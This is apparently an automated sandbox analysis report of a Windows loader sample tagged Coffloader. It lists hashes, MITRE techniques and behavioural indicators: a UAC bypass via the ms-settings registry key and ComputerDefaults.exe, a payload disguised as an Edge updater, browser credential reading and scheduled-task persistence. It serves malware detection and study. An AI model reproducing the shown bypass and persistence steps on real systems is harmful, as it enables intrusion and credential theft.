coffloader | b869fbddbda07a9b4e511f533b4b7ac2a161cc88dae0519e0e55347c74db94a8

Analysis

max time kernel
299s
max time network
299s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/08/2026, 08:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Vat_N0.20260805114644.exe
Size 3.5MB
Sample260806-kjge3agg23
SHA256 b869fbddbda07a9b4e511f533b4b7ac2a161cc88dae0519e0e55347c74db94a8
MD5 c185dbe4fcb5da174009ada3aa4822c3
SHA1 e8f1f825d79914fe88e9fd40983661f5ed638800
SHA512 4fdad99da5cf6d3df2befe6505f844bafae4406f3b4e4c5777e767dd29ab0ec477e34fc73392288fd383b4a6900ecb6e8e933508c1c555a5343e1c46a4789af4
SSDEEP 98304:7yG4M3dIc4WP1RG/w7VoTwvLIBvnR31C5Tfw/Ix6vFdO7:O4+jTxZV1C5bcIx6v/O7
TLSH
T173F58D20BAC08036D97216314DAA7739A6BDFE301B35A1D752543E783930BD26D396BF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution coffloader loader persistence spyware stealer

Malware Config

Signatures

Family: Coffloader
Coffloader is an open-source beacon loader written in C.
loader coffloader

Detects Coffloader 3 IoCs

resource	yara_rule
behavioral2/memory/6432-134-0x0000000140000000-0x000000014001C000-memory.dmp	family_coffloader
behavioral2/memory/6432-145-0x0000000140000000-0x000000014001C000-memory.dmp	family_coffloader
behavioral2/memory/1172-175-0x0000000140000000-0x000000014001C000-memory.dmp	family_coffloader

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6756	powershell.exe

Downloads MZ/PE file 8 IoCs

flow	pid	Process
41	1172	zipwar.exe
29	1172	zipwar.exe
31	6432	zipwar.exe
34	1172	zipwar.exe
35	6432	zipwar.exe
37	6432	zipwar.exe
38	6432	zipwar.exe
40	1172	zipwar.exe

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\M:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\N:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\U:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\W:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\D:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\G:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\H:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\L:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\P:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\S:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\T:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\V:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\B:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\J:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\K:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\O:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\Q:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\X:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\Z:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\Y:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\R:	MicrosoftEdgeUpdateOnDemand.EXE
File opened (read-only)	\??\I:	MicrosoftEdgeUpdateOnDemand.EXE

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
6	api.ipify.org
9	api.ipify.org

Discovers running processes 1 TTPs 5 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3404	tasklist.exe
2884	tasklist.exe
1972	tasklist.exe
5372	tasklist.exe
4808	tasklist.exe

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A8A4CE43DA65177907B85FEC6335160B	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A8A4CE43DA65177907B85FEC6335160B	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F15827BEC5BABE89C21DCDAE77464BF1	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F15827BEC5BABE89C21DCDAE77464BF1	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	zipwar.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	zipwar.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp\kernel32_dll_1172_1786005634708192400.dll	zipwar.exe
File opened for modification	C:\Windows\SystemTemp\Rpcrt4_dll_1172_1786005654272093000.dll	zipwar.exe
File created	C:\Windows\SystemTemp\av_symbol_cache\2e1b454917bd5c95\pdb\ntdll.pdb\219D0663E9DBAD581E64D9EC8618F5421\ntdll.pdb.lock	zipwar.exe
File opened for modification	C:\Windows\SystemTemp\ntdll.pdb_1172_1786005655656210200.pdb	zipwar.exe
File opened for modification	C:\Windows\SystemTemp\ntdll_dll_1172_1786005612597070000.dll	zipwar.exe
File opened for modification	C:\Windows\SystemTemp\advapi32_dll_1172_1786005615244281500.dll	zipwar.exe

Executes dropped EXE 4 IoCs

pid	Process
1828	MicrosoftEdgeUpdateOnDemand.EXE
5888	MicrosoftEdgeUpdateOnDemand.EXE
1172	zipwar.exe
6432	zipwar.exe

Loads dropped DLL 4 IoCs

pid	Process
1828	MicrosoftEdgeUpdateOnDemand.EXE
5888	MicrosoftEdgeUpdateOnDemand.EXE
1172	zipwar.exe
6432	zipwar.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6360	cmd.exe
684	cmd.exe
2760	cmd.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
6904	5888	WerFault.exe	104

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

System Location Discovery: System Language Discovery 1 TTPs 29 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdateOnDemand.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdateOnDemand.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Vat_N0.20260805114644.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Delays execution with timeout.exe 5 IoCs

defense_evasion

pid	Process
3816	timeout.exe
7140	timeout.exe
7088	timeout.exe
2768	timeout.exe
4360	timeout.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
7128	taskkill.exe

Modifies data under HKEY_USERS 49 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	zipwar.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	zipwar.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	zipwar.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	zipwar.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	zipwar.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	zipwar.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	zipwar.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	zipwar.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	zipwar.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\Shell\open\command	Vat_N0.20260805114644.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\Shell	Vat_N0.20260805114644.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\Shell\open	Vat_N0.20260805114644.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/S-1-5-21-1427324246-3256501537-2580039833-4151/SystemAppData/MicrosoftEdgeUpdateOnDemand.EXE"	Vat_N0.20260805114644.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\Shell\open\command\DelegateExecute = "Ā"	Vat_N0.20260805114644.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\Shell	Vat_N0.20260805114644.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings	Vat_N0.20260805114644.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings	Vat_N0.20260805114644.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\Shell\open\command	Vat_N0.20260805114644.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\Shell\open	Vat_N0.20260805114644.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6876	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeLoadDriverPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeTakeOwnershipPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeIncBasePriorityPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeTcbPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeDebugPrivilege	7128	taskkill.exe
Token: SeDebugPrivilege	3404	tasklist.exe
Token: SeDebugPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeCreateTokenPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeAssignPrimaryTokenPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeLockMemoryPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeIncreaseQuotaPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeMachineAccountPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeTcbPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeSecurityPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeTakeOwnershipPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeLoadDriverPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeSystemProfilePrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeSystemtimePrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeProfSingleProcessPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeIncBasePriorityPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeCreatePagefilePrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeCreatePermanentPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeBackupPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeRestorePrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeShutdownPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeDebugPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeAuditPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeSystemEnvironmentPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeChangeNotifyPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeRemoteShutdownPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeUndockPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeSyncAgentPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeEnableDelegationPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeManageVolumePrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeImpersonatePrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeCreateGlobalPrivilege	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: 31	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: 32	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: 33	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: 34	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: 35	1828	MicrosoftEdgeUpdateOnDemand.EXE
Token: SeDebugPrivilege	2884	tasklist.exe
Token: SeDebugPrivilege	1972	tasklist.exe
Token: SeDebugPrivilege	6756	powershell.exe
Token: SeDebugPrivilege	5372	tasklist.exe
Token: SeDebugPrivilege	4808	tasklist.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3524	Vat_N0.20260805114644.exe
1828	MicrosoftEdgeUpdateOnDemand.EXE
1828	MicrosoftEdgeUpdateOnDemand.EXE
5888	MicrosoftEdgeUpdateOnDemand.EXE

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3524 wrote to memory of 6360	3524	Vat_N0.20260805114644.exe	90
PID 6360 wrote to memory of 2468	6360	cmd.exe	92
PID 2468 wrote to memory of 1828	2468	ComputerDefaults.exe	93
PID 1828 wrote to memory of 7128	1828	MicrosoftEdgeUpdateOnDemand.EXE	94
PID 1828 wrote to memory of 684	1828	MicrosoftEdgeUpdateOnDemand.EXE	97
PID 684 wrote to memory of 2760	684	cmd.exe	99
PID 2760 wrote to memory of 3404	2760	cmd.exe	100
PID 2760 wrote to memory of 4276	2760	cmd.exe	101
PID 2760 wrote to memory of 3816	2760	cmd.exe	102
PID 2760 wrote to memory of 2884	2760	cmd.exe	109
PID 2760 wrote to memory of 5836	2760	cmd.exe	110
PID 2760 wrote to memory of 7140	2760	cmd.exe	111
PID 1828 wrote to memory of 5928	1828	MicrosoftEdgeUpdateOnDemand.EXE	112
PID 2760 wrote to memory of 1972	2760	cmd.exe	114
PID 2760 wrote to memory of 2568	2760	cmd.exe	115
PID 2760 wrote to memory of 7088	2760	cmd.exe	116
PID 5928 wrote to memory of 6756	5928	cmd.exe	117
PID 6756 wrote to memory of 1400	6756	powershell.exe	118
PID 6756 wrote to memory of 6564	6756	powershell.exe	119
PID 6756 wrote to memory of 6876	6756	powershell.exe	120
PID 6756 wrote to memory of 1156	6756	powershell.exe	121
PID 2760 wrote to memory of 5372	2760	cmd.exe	126
PID 2760 wrote to memory of 5492	2760	cmd.exe	127
PID 2760 wrote to memory of 2768	2760	cmd.exe	128
PID 2760 wrote to memory of 4808	2760	cmd.exe	129
PID 2760 wrote to memory of 2980	2760	cmd.exe	130
PID 2760 wrote to memory of 4360	2760	cmd.exe	131

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	21	curl/8.8.0
HTTP User-Agent header	23	curl/8.8.0

